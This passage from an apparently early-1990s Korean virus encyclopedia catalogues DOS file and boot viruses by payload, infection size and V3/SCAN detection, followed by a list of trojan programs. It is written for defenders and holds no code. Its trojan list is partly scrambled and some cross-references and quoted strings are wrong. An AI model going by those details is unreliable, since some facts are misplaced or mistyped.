          이 감염된 때로 바뀌어 버린다.  또한 COM 파일에 감염되는 것 이외에는 별
          다른 증상을 보이지 않는다.
      (3) 진단하기 위해서는 V3V63 이상이나 SCAN V80를 사용해야 하며, 치료는
          V3V63 이상의 버전을 사용해야 한다.

    32) MGTU 바이러스
      (1) 1990년 12월 소련에서 처음 발견되었으며, 국내에서는 1991년 8월에 그 존
          재가 확인된 비상주형 및 기생형 바이러스이다.
      (2) COM 파일만 감염시킬 수 있으며, 읽기 전용 파일(read only file)은 감염되
          지 않는다.  감염된 COM 파일은 길이가 273 byte 증가하며, 파일의 작성일
          이 감염된 때로 바뀌어 버린다.  또한 COM 파일에 감염되는 것 이외에는 별
          다른 증상을 보이지 않는다.
      (3) 진단하기 위해서는 V3V63 이상이나 SCAN V80를 사용해야 하며, 치료는
          V3V63 이상의 버전을 사용해야 한다.

    33) 터보-488(Turbo-488) 바이러스
      o 동명: 폴란드-2(Polish-2), 터보 @(Turbo @), 나지투드(Nagytud), @ 바이러스
      (1) 1990년 11월 헝가리에서 처음 발견되었으며, 국내에서는 1991년 8월에 그
          존재가 확인된 상주형 및 기생형 바이러스이다.
      (2) COM 파일만 감염시킬 수 있으며, 읽기 전용 파일(read only file)은 감염되
          지 않는다.  감염된 COM 파일은 길이가 448 byte 증가하며, 파일의 작성일
          이 감염된 때로 바뀌어 버린다.  또한 COM 파일에 감염되는 것 이외에는 별
          다른 증상을 보이지 않는다.
      (3) 이 바이러스 내부에 "Udv minden nagytudas nak! Turbo @"라는 말을 가지고
          있다.
      (4) 실행되는 프로그램에 감염되는 것이 아니라, 오픈(open)되는 프로그램에 감
          염되는 특징이 있다.
      (5) 진단하기 위해서는 V3V63 이상이나 SCAN V80를 사용해야 하며, 치료는
          V3V63 이상의 버전을 사용해야 한다.

    34) 소련-257(USSR-257) 바이러스
      o 동명: 케메로보(Kemerovo), 케메(Keme) 바이러스
      (1) 1990년 12월 소련에서 처음 발견되었으며, 국내에서는 1991년 8월에 그 존
          재가 확인된 비상주형 및 기생형 바이러스이다.
      (2) COM 파일만 감염시킬 수 있으며, 읽기 전용 파일에는 감염시킬 수 없다.
          감염된 COM 파일은 길이가 257 byte 증가되며, 파일의 작성일이 감염된 때
          로 바뀐다.
      (3) 감염된 프로그램을 실행시키면 현재 디렉토리(current directory)에 있는
          COM 파일 1개 감염시킨다.  만약 감염이 제대로 되지 않았을 때는 1/100의
          확률로 컴퓨터를 다시 부팅시켜 버린다.
      (4) 진단하기 위해서는 V3V63 이상이나 SCAN V80를 사용해야 하며, 치료는
          V3V63 이상의 버전을 사용해야 한다.

    35) 소련-394(USSR-394) 바이러스
      o 동명: 394, 차렷(Attention) 바이러스
      (1) 1990년 12월 소련에서 처음 발견되었으며, 국내에서는 1991년 8월에 그 존
          재가 확인된 상주형, 기생형 바이러스이다.
      (2) 785 byte 이상의 길이를 가지는 COM 파일만 감염시킬 수 있으며, 감염된 파
          일은 길이가 394 byte 증가한다.  또한 작성일이 감염된 때로 바뀌어 버린
          다.
      (3) 진단하기 위해서는 V3V63 이상이나 SCAN V80을 사용해야 하며, 치료는
          V3V63 이상의 버전을 사용해야 한다.

    36) 소련-492(USSR-492) 바이러스
      o 동명: 492, RC492 바이러스
      (1) 1990년 12월 소련에서 처음 발견되었으며, 국내에서는 1991년 8월에 그 존
          재가 확인된 상주형 및 기생형 바이러스이다.
      (2) COM 파일만 감염시킬 수 있으며, 읽기 전용 파일은 감염되지 않는다.  감염
          되면 파일의 크기는 492-507 byte 증가하게 되며, 파일의 작성일은 감염된
          때로 바뀐다.
      (3) 진단하기 위해서는 V3V63 이상이나 SCAN V80을 사용해야 하며, 치료는
          V3V63 이상의 버전을 사용해야 한다.

    37) 소련-600(USSR-600) 바이러스
      o 동명: V600 바이러스
      (1) 1990년 12월 소련에서 처음 발견되었으며, 국내에서는 1991년 8월에 그 존
          재가 확인된 상주형 및 기생형 바이러스이다.
      (2) COM 파일만 감염시킬 수 있으며, 읽기 전용 파일은 감염되지 않는다.  감염
          되면 파일의 크기는 600 byte 증가하게 되며, 파일의 작성일은 감염된 때로
          바뀐다.
      (3) 진단하기 위해서는 V3V63 이상이나 SCAN V80을 사용해야 하며, 치료는
          V3V63 이상의 버전을 사용해야 한다.

    38) 소련-1049(USSR-1049) 바이러스
      o 동명: 1049, RCE-1049 바이러스
      (1) 1990년 12월 소련에서 처음 발견되었으며, 국내에서는 1991년 8월에 그 존
          재가 확인된 상주형 및 기생형 바이러스이다.
      (2) 33 byte 이상의 길이를 가지는 COM 파일과 EXE 파일에 감염시킬 수 있으며,
          읽기 전용 파일은 감염되지 않는다.  감염되면 파일의 크기는 1049-1064
          byte 증가하게 되며, 파일의 작성일은 감염된 때로 바뀐다.
      (3) 진단하기 위해서는 V3V74 이상이나 SCAN V84를 사용해야 하며, 치료는
          V3V74 이상의 버전을 사용해야 한다.

    39) 플라스틱-2900(Plastique-2900) 바이러스
      o 동명: 反캐드(Anti CAD), 대만 3(Taiwan 3) 바이러스
      (1) 1990년 6월 대만에서 처음 발견되었으며, 국내에서는 1991년 3월에 그 존재
          가 보고된 상주형, 기생형 바이러스이다.

    40) 푸 만추(Fu Manchu) 바이러스
      o 동명: 2080, 2086 바이러스
      (1) 1988년 3월 10일에 만들어진 것으로 추정되는 바이러스이다.
      (2) 감염되면 1/16의 확률로 다음과 같은 말이 출력된 후 시스템이 부팅되며,
          웜부팅을 시켰을 때도 그러한 말이 나온다.  "The world will hear from me
          afrain!"라는 문자열 나타나고, 시스템을 가시 부트시키며, 키보드에서 데
          이타를 입력할 때 바이러스가 지정한 데이타가 포함되어 있는 경우 그 입력
          자료를 바꿔서 키보드 버퍼에 넣는다.
      (3) COM 파일의 길이를 2086 byte 증가시키며, 바이러스 프로그램이 파일의 앞
          부분에 위치한다.
      (4) EXE 파일의 길이를 2080 byte 증가시키며, 바이러스 프로그램이 파일의 뒤
          부분에 위치한다.
      (5) 바이러스 내부에는 " sAXrEMHOr "과 같은 문자열이 항상 존재한다.
      (6) 1989년 8월 1일 이후에는 키보드 버퍼를 검사하여 정치가의 이름이 있을 때
          는 그 뒤에 악의에 찬 말들을 붙여준다.  따라서 사용자가 모르는 사이에
          이런 말들이 데이타 파일에 저장된다.  하지만 바이러스 내부에는 이러한
          말들을 암호화해 놓았기 때문에 검사를 하더라도 볼수 없다.

    41) 데이타 크라임(Data Crime) 바이러스
      o 동명: 콜롬부스 기념일(Columbus Day), 1280 바이러스
      o 변형:
        ① 데이타 크라임-B(Data Crime-B) 바이러스 : EXE 파일에 감염되며 1168 by-
           te 증가된다.
      (1) 1989년 3월에 유럽에서 처음 발견된 바이러스이며, 기생형 및 비상주형 바
          이러스이다.
      (2) 매년 10월이나 12월이 되면 하드디스크안에 있는 데이타를 모두 없애버리
          는 바이러스이다.
      (3) COMMAND.COM과 같은 파일이름 중 7번째 글자가 'D'인 파일에는 감염되지 않
          는다.
      (4) COM 파일의 크기를 1280 byte 증가시키며, 파일의 뒷부분에 위치한다.
      (5) 4월 1일 이후에만 증식하며, 10월 12일 이후에는 다음과 같은 말을 출력하
          면서 하드디스크를 저수준 포맷(Low Level Format)한다.
             " DATACRIME VIRUS
              RELEASES : 1 MARCH 1989 "
      (6) PC AT와 RLL, SCSI형의 하드디스크는 저수준 포맷(Low Level Format)을 시
          키지 못한다.

    42) 11월 30일-2027(November 30th-2027) 바이러스
      o 변형: 11월 30일-2026 바이러스
      (1) 1991년 11월에 국내에서 그 존재가 확인된 기생형, 상주형 바이러스이다.
      (2) 11월 30일 바이러스와 기본적인 사항은 동일하지만 27 byte 더 길다는 점만
          다르다.

    43) 암스트래드(Amstrad) 바이러스
      (1) 1989년 11월 포르투갈에서 처음으로 발견된 바이러스이며, 기생형 및 상주
          형 바이러스이다.
      (2) COM 파일의 크기를 847 byte 증가시킨다.
      (3) 바이러스내부에서 암스트래드 컴퓨터에 대한 거짓광고가 담겨져 있다.

    44) 에이즈(AIDS) 바이러스  [AIDS]
      o 동명: 하하하(Hahaha), 조롱(Taunt), VGA2CGA 바이러스
      (1) 겹쳐쓰기형 및 비상주형 바이러스이다.
      (2) COM 프로그램의 처음 13KB 정도를 바이러스 프로그램으로 채우기 때문에 완
          전히 복구가 불가능하다.
      (3) " Your Computer now has AIDS "라는 말을 출력하면서 시스템을 정지시킨
          다.

    45) 데이타 크라임Ⅱ(Data CrimeⅡ) 바이러스
      o 동명: 1514 바이러스
      o 변형:
        ① 데이타 크라임Ⅱ-B(Data CrimeⅡ-B) 바이러스
           o 동명: 1917 바이러스
           1989년 11월에 네덜란드에서 처음 발견된 것으로, 파일의 크기를 1917
           byte 증가시키며 다른 암호화 방법을 사용한다.
      (1) 실행 파일에 감염이 되는 기생형 및 비상주형 바이러스이다.  하지만 COMM-
          AND.COM은 변함이 없다.
      (2) 파일의 크기를 1514 증가시킨다.
      (3) 바이러스 프로그램을 암호화시켜서 분석과 진단을 어렵개 만든다.

    46) 악마의 춤(Devil's Dance) 바이러스
      o 동명: 메시코(Mexican) 바이러스
      (1) 1989년 12월 멕시코의 멕시코시티(Mexico City)에서 처음 발견된 바이러스
          이며, 기생형 및 상주형 바이러스이다.
      (2) COM 파일의 길이를 941 byte 증가시킨다.  한 파일에 여러번 감염될 수 있
          으므로, 기억장소에 로드시키지 못할 정도로 커질 수 있다.
      (3) 키보드를 2천번 누른 후에는 텍스트 화면의 색을 바꾼다.
      (4) 키보드를 5천번 누른 후에는 첫번째 FAT를 지운다.
      (5) 웜부팅을 시행하면 다음과 같은 말이 출력되며, 첫번째 FAT를 지운다.
          " DID TOU EVER DANCE WITH THE DEVIL IN THE WEAK MOONLIGHT?
                 PRAY FOR YOUR DISKS!!
                     The joker "

    47) 게으름뱅이(Do-Nothing) 바이러스
      o 동명: 바보(The Stupied) 바이러스
      (1) 1989년 10월 이스라엘에서 처음 발견된 바이러스이며, 기생형 및 상주형 바
          이러스이다.
      (2) 640KB의 램을 가진 시스템에만 감염시킨다.
      (3) 현재의 디렉토리의 첫번째 COM 파일에만 감염되며, 그 전에 바이러스에 감
          염되었는 지를 검사하지 않는다.
      (4) COM 파일의 길이를 608 byte 증가시킨다.
      (5) 기억장소의 900:0100h 번지에 상주하지만, 이 영역을 보호하지 않기 때문에
          다른 프로그램이 이 영역을 사용할 때는 바이러스 프로그램이 파괴된다.

    48) 할로에켄(Halloechen) 바이러스
      (1) 1989년 10월에 독일의 칼스루에(Karlsruhe)에서 처음 발견된 바이러스이며,
          기생형 바이러스이다.
      (2) 키보드로부터의 입력을 엉망으로 바꾸어 버린다.

    49) 네덜란드 소녀(Holland Girl) 바이러스
      o 동명: 실비아(Sylvia) 바이러스
      (1) 1989년 3월에 네덜란드에서 처음 발견되으며, 기생형 및 상주형 바이러스이
          다.
      (2) COM 파일의 크기를 1332 byte 증가한다.

    50) 아이슬랜드(Icelandic) 바이러스
      o 동명: 10개중의 하나(One in Ten), 디스크 파괴(Disk Crunching), 656 바이러
              스
      o 변형:
        ① 아이슬랜드Ⅱ 바이러스 : 52) 참조
        ② 아이슬랜드Ⅲ 바이러스 : 53) 참조
      (1) 1989년 6월에 아이슬랜드에서 처음 발견되었으며, 기생형 및 상주형 바이러
          스이다.
      (2) EXE 파일의 크기를 656-671 byte 증가시켜서 16의 배수로 만든다.
      (3) 실행되면 기억장소의 최상위에 상주하며, 기억장소의 사용상태를 나타내는
          프로그램에는 나타나지 않는다.

    51) 아이슬랜드Ⅱ(IcelandicⅡ) 바이러스
      o 동명: 시스템(System) 바이러스
      (1) 1990년 7월에 아이슬랜드에서 처음 발견되었으며, 기생형 및 상주형 바이러
          스이다.
      (2) 감염되는 파일의 날짜와 속성을 바꾸기 때문에 쉽게 발견된다.
      (3) 플루샷 플러스와 같은 21h번 인터럽트를 감시하는 프로그램으로는 이 바이
          러스의 감염을 막을 수 없다.
      (4) 아이슬랜드 바이러스와 동일한 동작을 한다.

    52) 아이슬랜드Ⅲ(IcelandicⅢ) 바이러스
      o 동명: 12월 24일(December 24th) 바이러스
      (1) 1989년 12월에 아이슬랜드에서 처음 발견되었으며, 기생형 및 상주형 바이
          러스이다.
      (2) EXE 파일의 크기를 848-863 byte 증가시키다.
      (3) 12월 24일에는 실행을 중지시키고, "Gleding jol('Merry Chrismas'의 뜻을
          가진 아이슬랜드 말)"을 출력시키다.
      (4) 이미 아이슬랜드나 아이슬랜드Ⅱ 바이러스로 감염되어 있으면 감염되지 않
          는다.
      (5) 아이슬랜드 바이러스와 동일한 동작을 한다.

    53) 이타비르(ItaVir) 바이러스
      (1) 이탈리아의 밀라노에서 처음 발견되었으며, 기생형 및 상주형 바이러스이
          다.
      (2) EXE 파일의 크기를 3880 byte 증가시킨다.
      (3) 감염후 24시간 이상 경과하면 모든 입출력 포트로 아무 값이나 보낸다.  따
          라서 모니터가 깜빡이는 등의 여러가지 이상한 증상들을 보이게 된다.
      (4) 부트 섹터를 지워서 부팅이 되지 않게된다.

    54) 리스본(Lisbon) 바이러스
      (1) 1989년 11월에 포르투갈의 리스본에서 처음 발견되었다.
      (2) COM 파일의 크기를 648 byte 증가시킨다.
      (3) 비엔나 바이러스의 변형이며, 발견되지 않도록 명령어들의 위치가 1-2 byte
          정도 바뀌어 있다.

    55) 믹스/1(MIX/1) 바이러스
      o 동명: 믹스 1(MIX 1) 바이러스
      (1) 1989년 8월 22일에 이스라엘에서 처음 발견되었으며, 기생형 및 상주형 바
          이러스이다.
      (2) 8K byte 이하의 크기를 가지는 EXE 파일에는 감염되지 않는다.
      (3) EXE 파일의 크기를 1618-1638 byte 증가시킨다.
      (4) 바이러스가 상주하는 시스템은 0000:033Ch 번지의 값이 77h가 되며, 바이러
          스는 기억장소내에서 2048 바이트의 크기를 가진다.

    56) 오로팩스(Oropax) 바이러스
      o 동명: 음악(Music), 음악가(Musician) 바이러스
      (1) 유럽에서 처음 발견된 바이러스로 아직 국내에서는 보고된 바가 없다.
      (2) 기생형 및 상주형 바이러스이다.
      (3) COM 파일의 크기를 2756-2806 byte 증가시켜서, 51의 배수로 만든다.
      (4) 실행된지 5분 후에 7분 간격으로 3곡을 연주한다.

    57) 향수(Perfume) 바이러스
      o 동명: 4711, 765 바이러스
      (1) 1989년 12월 폴란드에서 처음 발견되었으며, 독일에서 만들어 진것으로 추
          측된다.
      (2) COM 파일의 크기를 765 byte 증가시킨다.
      (3) 가끔 질문을 하여 정확한 답을 입력하지 않으면 원래의 프로그램을 실행시
          키지 않는다.  답은 독일제 향수의 이름인 4711이다.

    58) 14일 토요일(14th Saturday) 바이러스
      (1) 1990년 3월에 처음 발견되었으며, 기생형 및 상주형 바이러스이다.
      (2) 파일의 크기를 685 byte 증가시킨다.
      (3) A, B, C 드라이브의 처음 100 섹터를 지워버린다.

    59) 솔라노 2000(Solano 2000) 바이러스
      o 동명: 디스렉시아(Dyslexia) 바이러스
      (1) 1990년 2월말에 美國의 캘이포니아州에서 처음 발견되었으며, 기생형 및 상
          주형 바이러스이다.
      (2) COM 파일의 크기를 2000 byte 증가시킨다.
      (3) 화면에 있는 숫자들의 위치를 바꾼다.

    60) 서리브 1.01(Suriv 1.01) 바이러스
      o 동명: 서리브 01(Suriv 01), 4월 1일, 이스라엘 바이러스
      (1) 1987년 4월에 이스라엘에서 처음 발견된 바이러스이다.
      (2) 기생형 및 상주형 바이러스이다.
      (3) COM 파일의 크기를 897 byte 증가시킨다.
      (4) 바이러스 내부에 "sURIV 1.01"과 같은 말이 포함되어 있다.
      (5) 4월 1일에 다음과 같은 말을 출력한 뒤에 시스템을 정지시킨다.
        " APRIL 1ST HA HA HA YOU HAVE A VIRUS "
      (6) 치료는 불가능하며, 감염된 파일을 삭제하는 방법밖에 없다.

    61) 서리브 2.01(Suriv 2.01) 바이러스
      o 동명: 서리브 02(Suriv 02), 4월 1일-B, 이스라엘 바이러스
      (1) 1987년에 이스라엘에서 처음 발견된 바이러스이다.
      (2) 기생형 및 상주형 바이러스이다.
      (3) EXE 파일의 크기를 1488 byte 증가시킨다.
      (4) 4월 1일에 서리브 1.01 바이러스와 같은 말을 출력하며, 시스템을 정지시킨
          다.

    62) 서리브 3.00(Suriv 3.00) 바이러스
      o 동명: 서리브 03(Suriv 03), 이스라엘 바이러스
      (1) 1988년에 이스라엘에서 처음 발견된 바이러스이다.
      (2) 기생형 및 상주형 바이러스이다.
      (3) COM 파일의 크기를 1813 byte, EXE 파일의 크기를 1808 byte 증가시킨다.
      (4) 바이러스 내부에 "sURIV 3.00"과 같은 말이 포함되어 있다.
      (5) 감염된지 30초가 경과하면 화면의 일부를 까맣게 만들고, 시스템의 속도를
          떨어뜨린다.

    63) 시스록(SysLock) 바이러스
      o 동명: 3551, 3555 바이러스
      (1) 1988년 11월에 처음 발견된 바이러스이다.
      (2) 기생형, 비상주형 바이러스이다.
      (3) 바이러스 프로그램을 암호화시킨다.
      (4) "Microsoft"라는 문자열이 포함된 파일은 손상시키고, 그 문자열을 "MAVRO-
          SOFT"로 바꾼다.
      (5) 감염된 파일은 3551 Byte 증가시킨다.

    64) 역추적(Traceback) 바이러스
      o 동명: 3066 바이러스
      (1) 1988년 10월에 처음 발견된 바이러스이다.
      (2) 기생형, 비상주형 바이러스이다.
      (3) 파일의 크기를 3066 byte 증가시킨다.

    65) 역추적Ⅱ(Traceback Ⅱ) 바이러스
      o 동명: 2930 바이러스
      (1) 1988년 10월에 처음 발견된 바이러스이다.
      (2) 기생형, 비상주형 바이러스이다.
      (3) 파일의 크기를 2930 byte 증가시킨다.

    66) V2000 바이러스  [V2000]
      (1) 1990년 2월에 처음 발견되었으며, 기생형 및 비상주형 바이러스이다.
      (2) 파일의 크기를 2000 byte 증가시킨다.
      (3) DIR 명령으로 증가된 길이를 볼수 없다.

    67) 타이포 COM(Type COM) 바이러스
      (1) 1989년 11월에 영국의 브링턴에서 처음 발견되었다.
      (2) 기생형, 상주형 바이러스이다.
      (3) COM 파일의 크기를 867 byte 증가시킨다.

    68) 백시나(Vacina) 바이러스
      (1) 1989년 11월에 불가리아(Bulgaria)에서 처음 발견된 바이러스이다.
      (2) 기생형, 상주형 바이러스이다.
      (3) 파일의 크기를 1206 byte 증가시킨다.
      (4) MCB(memory control block)에 상주한다.

    69) 브이콤(Vcomm) 바이러스
      o 동명: 637 바이러스
          (1) 1989년 12월에 폴랜드(Poland)에서 처음 발견되었으며, 기생형 및 상주형
          바이러스이다.
      (2) EXE 파일의 크기를 512 byte 증가시킨다.
      (3) 치료는 현재로서는 불가능하며, 삭제하는 방법밖에 없다.

    70) W13 바이러스
      o 동명: Toothless, W13-A 바이러스
      (1) 1989년 12월에 폴랜드에서 처음 발견되었으며, 기생형 및 비상주형 바이러
          스이다.
      (2) COM 파일의 크기를 534 byte 증가시킨다.
      (3) 치료는 현재로서는 불가능하며, 삭제하는 방법밖에 없다.

    71) XA1 바이러스
      o 동명: 크리스마스 트리(Chrismas Tree) 바이러스
      (1) 1990년 3월에 독일에서 처음 발견되었으며, 기생형 및 비상주형 바이러스이
          다.
      (2) COM 파일의 크기를 1539 증가시킨다.
      (3) 12월 24일 - 1월 1일 사이에 감염된 프로그램을 실행시키면, 크리스마스 트
          리 그림을 출력시킨다.
      (4) 4월 1일에 하드디스크의 주 부트 레코드를 파괴하여 하드디스크가 부팅되지
          않게 한다.

    72) 제로 벌레(Zero Bug) 바이러스
      o 동명: 팔레트(Palette), 1536 바이러스
      (1) 1989년 9월에 네덜란드에서 처음 발견되었으며, 기생형 및 비상주형 바이러
          스이다.
      (2) COM 파일의 크기를 1536 byte 증가시킨다.  하지만 DIR 명령으로 보면 파일
          의 크기는 그전과 동일하다.
      (3) 만약 COMMAND.COM이 이미 감염되어 있을 때에는 일정 시간 경과후에 웃는
          얼굴(ASCII 1번 문자)이 나타나서 화면상에 있는 "O" 문자를 먹어 버린다.

    73) 1720 바이러스  [1720]
      o 동명: PSQR 바이러스
      (1) 1990년 3월에 스페인의 바르셀로나에서 처음으로 발견되었으며, 기생형 및
          상주형 바이러스이다.
      (2) 파일의 크기를 1720 byte 증가시킨다.
      (3) 13일의 금요일에도 파일을 파괴한다.

    74) 크루(Crew)-2480 바이러스
      o 동명: 2480 바이러스
      (1) 1991년 2월에 처음 발견되었으며, 발견된 장소는 알려져 있지 않는 바이러
          스이다.
      (2) 기생형, 비상주형 바이러스이다.
      (3) 실행 파일에 감염되며, 2480 byte 증가시킨다.


5-3-2   부트/파일 바이러스

    1) 자유(Liberty) 바이러스  [Liberty]
      o 동명: 비법, 마법(Magic) 바이러스
      o 변형:
        ① 자유-B(Liberty-B) 바이러스 : 1990년 11월에 발견
        ② 자유-C(Liberty-C) 바이러스 : 1991년 1월에 발견
      (1) 1990년 5월 호주(Austalia)에서 처음 발견되었으며, 국내에서는 1990년 12
          월에 그 존재가 확인되었다.
      (2) COMMAND.COM 파일을 포함한 COM, EXE, OVL 파일에 감염된다.  다만 COM 파
          일은 크기가 2KB 이상 되어야 한다.
      (3) 감염된 파일은 크기가 2857 byte에서 2887 byte 사이의 증가된 크기를 갖는
          다.  또는 감염된 파일은 파일의 작성일이 감염된 때로 바뀐다.
      (4) 감염된 COM, EXE, OVL 파일에 "Liberty"라는 문자열이 존재한다.
      (5) 도스의 TYPE 명령이나 텍스트 편집기(TEXT EDITOR) 등으로 이 문자열을 볼
          수 있다.
      (6) 감염된 COM 파일의 시작부분에 다음과 같은 메세지가 적혀있다.
          그러나 EXE 파일에서는 이러한 메세지를 볼 수 었다.
          " -M Y S T I C - COPYRIGHT (C) 1989 - 2000, by SsAsMsUsEsL "
      (7) 검색 및 치료는 V3V52 이상 또는 SCAN V72 이상으로 가능하다.
      (8) 상주형, 기생형 바이러스이다.
      (9) 1280 byte 이상의 길이를 가지는 COM 파일과 모든 EXE 파일을 감염시킬 수
          이지만 읽기 전용 파일은 감염시킬 수 없다.
      (10) 감염된 디스크로 부팅하면 기억장소에 상주하면서 기억장소릐 크기를 10
          KB 줄이며, 실행되는 프로그램을 감염시킨다.  또한 일정한 시간이 경과하
          면 5초 동안 화면과 프린터에 "MAGIC!!"을 출력하고 직렬 포드(Serial
          Port)로 "L@FHB"를 입출력시킨 다음에 컴퓨터를 다시 부팅시키거나 동작을
          정지시킨다.  그러나 감염된 디스크로 동작을 11번째 부팅을 시도하면, 부
          트 섹터에 존재하던 바이러스는 스스로 제거된다.

    2) 플립(FLIP) 2153 바이러스  [Flip]
      o 동명 : 뒤집기-2153 바이러스
             원형 뒤집기 바이러스는 1990년 7월에 독일에서 발견
      (1) 1991년 1월 독일에서 처음 발견되었으며, 국내에서는 1991년 12월에 그 존
          재가 확인되었다.
      (2) 기생형 및 상주형 바이러스
      (3) 디스크의 제일 뒷부분에 바이러스가 들어가고, 그 섹터 수 만큼 도스의 파
          티션에서 제외시키도록 하고, 능동적인 전염방법을 택한다.
      (4) 바이러스가 감염된 시스템의 메모리에는 'OMICRON by PsychoBlast'라는 문
          자열이 보인다.  정확한 위치는 세그먼트 어드레스 9F40의 오프셋 0에서
          BFF까지 보면 나와 있다.
      (5) COM 파일과 EXE 파일들을 감염시켜서 길이를 2153 byte 증가시킨다.
      (6) 하드디스크의 주부트 섹터를 감염시키지만 플로피디스크에는 감염시키지 않
          는다.
      (7) 기억장소의 크기를 3 KB 줄이며, AT 이상의 컴퓨터와 CGA 이상의 컬러 모니
          터를 사용하는 경우에는 매달 2일에 부팅하면 기억장소의 크기를 7 KB 줄인
          다.  이 경우에는 10시부터 1시간 동안 80*25 텍스트 화면의 반쪽이 뒤집힌
          형태로 출력된다.
      (8) 백신 V3V90 이상과 SCAN, CPAV 등 백신으로 검색이 가능하며, 치료는 백신
          V3V90 이상이 유일한 해결책이다.


5-3-3  트로이 목마(Trojan Horse) 바이러스


고의로 사용자가 모르는 다른 기능을 프로그램내에 포함시킨 것을 말한다.
이것은 다른 프로그램에 감염시키지 않는다는 점에서 바이러스와 틀리다.
또한 이 프로그램은 증식하지 않는다.

종류

CHROMA.COM : 신디사이즈 소리로 `너의 컴퓨터는 최악의 사태에 빠졌다`는 소리를 내
             고 FAT를 파괴시켜 버린다.
CHUNKER.EXE :  본래는 QEDIT  VER.2.02로서 MEMORY  SIZE가 큰 FILE을  SIZE가 작은
FILE
              로 여러개 만들어 주는 UTILITY이지만 이 UTILITY PROGRAM의 변헝 FILE
              은 FAT를 파괴시킨다.
COMPRESS.ARC : 볼랜드사의 SHAREWARE로서 FILE압축 UTILITY라고 하지만 실제로
               COMPERSS.ARC에 포함되어 있는 RUN-ME.BAT를 실행시키면 FAT를 파괴시
               킨다.
COOKIES.COM : 쿠키를 맛있게 만드는 비법을 소개하는 프로그램이라고 속이면서 FAT
              를 파괴한다.
COOKIES.EXE
D-XREF60.COM : PASCAL UTILITY PROGRAM으로 속이지만 실제로는 HDD의 FAT를 파괴

               다.
DANCERS.BAS : 무용수의 춤을 보여주는 본래 PROGRAM에다 FAT를 파괴시키는 VIRUS
              PROGRAM을 결합시켜 FAT를 파괴시킨다.
DEFENDER.ARC : HDD를  FORMAT시키지는 않지만 SYSTEM의 CMOS를 깨끗이 지워  버리
므로
DISCACHE.EXE : 원래의 DISK CACHE PROGRAM을 변형시켜 FAT를 파괴한다.
DISKPREP.EXE : DISK의 모든 FILE들을 지워 버리도록 변형 됨.
DISKSCAN.ARC : 본래 PC MAGAZINE이라는 COMPUTER잡지에 나와 있는 DISK의 BAD
123JOKE : LOTUS 1-2-3용의 UTILITY 프로그램이라는 화면이 DISPLAY되지만 실제로는
          DISK DIRECTORY AREA를 파괴시킨다.
3X3SHR.ARC : 원래의 프로그램을 변형시켜 하드디스크의 내용을 파괴하도록 만든 것
ALTCTRL.ARC : DISK의 BOOT RECORD를 파괴하는 프로그램.
AMTECOPT.ZIP : HDD를 FORMAT하는 PROGRAM이다.
ANALYZE.EXE : `WWIV`라는 BBS PROGRAM용 UTILITY라는 화면이 DISPLAY되지만 실제
로는
              DISK FAT AREA를 파괴하여 DATA를 사용치 못하게 한다.
ANTECOPT.ARC : HDD의 OPTIMIZER라는 화면이 DISPLAY되지만  실제로는 MS-DOS VER
3.1
               의 FORMAT.COM을 변형한 것으로 실행시키면 HDD가 FORMAT된다.
ANTI-PCB : BBS SYSTEM 관리자들끼리 자신들의 BBS가 더 좋다고 서로 싸우다가 한 BBS
           관리자가 ANTI-VIRUS 프로그램이라며 경쟁관계에 있는 BBS에 슬그머니
           UPLOAD하기 위해 만들어진 VIRUS PROGRAM이다
ARC513.EXE, ARC514.EXE, ARC514.COM, ARC533.EXE : SEA사의 FILE 압축 UTILITY인
            ARC.EXE를 변형시킨 FILE로 0TRACK을 파괴시킨다
BACKALLY.COM : SOMEWARE라는 회사(유령회사)에서  만들었다는 SHAREWARE로서 사용

               몇개월이 경과하면 FAT를 파괴하고 FORMAT을 시켜 버린다.
BACKTALK : 본래는 매우 유용한 UTILITY PROGRAM이었으나 누군가가 변형시켜 DISK를
           FORMAT하게 만들었음.
BARDTALE.ZIP
BXD.ARC : BXD.ARC에 포함되어 있는 BXD.COM을 시행시키면 '5초안에 당신의 PROGRAM은
          파괴될 것이다.'라는 메세지를 DISPLAY하고는 FAT를 파괴해 버린다.
CDIR.COM :  DIRECTOREY를 COLOR로 보여 주는  PROGRAM이라고 하지만 사실은  FAT를
파괴
           시킨다.

SECTOR
               를 찾아주는 UTILITY였으나 불량 SECTOR를 오히려 만들어 주는
               PROGRAM으로 변형되었다.  이 프로그램은 SCANBAD.EXE 등의 이름으로
               변형된것도 있다.
DMASER : 원래의 PROGRAM을 변형하여 FAT를 파괴시키는 PROGRAM으로 만듬.
DND23.ARC : 원래는 유명한 RPG였으나 HDD의 0 TRACK를 파괴시키도록 변형됨.
DOS-HELP : DOS를 설명하는 RAM상주 프로그램이라고 속이지만 실제로는 HDD를 FORMAT
           시킨다.
DOSKXNOWS.EXE  :    FAT를  파괴시키는     PROGRAM으로  변형됨.("OUCH    !  DOS
REFUSED TO
TELL
                ME ! SOB, SOB, SOB."라는 메시지가 들어 있다.)
DPROTECT : 원래 프로그램을 변형하여 FAT를 파괴시키는 프로그램으로 만듬.
DRAN.COM : 원래의 프로그램을 변형하여 FAT를 파괴시키는 프로그램으로 만듬.
DROID.EXE
DRPTR.ARC : DIRECTORY의 내용을 알기 쉽게 보여 주는 기능을 가지고 있는것처럼 속이
            지만 실제로는 ROOT DIRRECTORY의 화일들을 파괴한다.
EGABTER : EGA(Enhanced Graphics Adaptor)의 기능을 향상시킨다고 속이지만, 모든 화
          일들을 지우고 "Arf! Arf! Got you !"라는 메세지를 출력한다.
EGABTR
ELEVATOR.ARC : FILE을 지우고 DISK를 FORMAT시키는 프로그램이며, 불법 프로그램들과
               싸우는 에릭 뉴하우스가 이 프로그램을 만든것처럼 속이고 있다.
EMMCACHE : 원래의 PROGRAM이 FAT를 파괴시키는 프로그램으로 변형됨.
FALCON.ZIP : FAT AREA를 파괴하는 프로그램
FILER.EXE
FILES.GBS
FINANCE.ARC
QUIKRBBS.COM
QUIKREF
RCKVIDEO
RECOUP.EXE
SCRNSAVE.COM
SECRET.BAS
SEX-SNOW.ARC : 음란한 장면들을 보여 주면서 DIRECTORY의 모든 FILE을 지워버린다.
SIDEWAYS.COM : SPREAD SHEET내용을 옆으로 PRINT시켜주는 UTILITY라고 속이지만 실

               는 BOOT RECORD내용을 파괴시켜 버린다.
STAR.EXE
STRIKE.ARC
STRIPES.EXE
SUG.ARC : SOFTGUARD사에서 만든 복사 방지를 푸는 PROGRAM이라고 속이지만 실제는 모
          든 드라이브의 FAT를 순서대로 파괴시킨다.
TIRED : DORN W. STICKLE이  만든 트로이 목마 PROGRAM으로서 본래의 좋은 PROGRAM

        FAT를 파괴하는 프로그램으로 변형시킨 것이다.
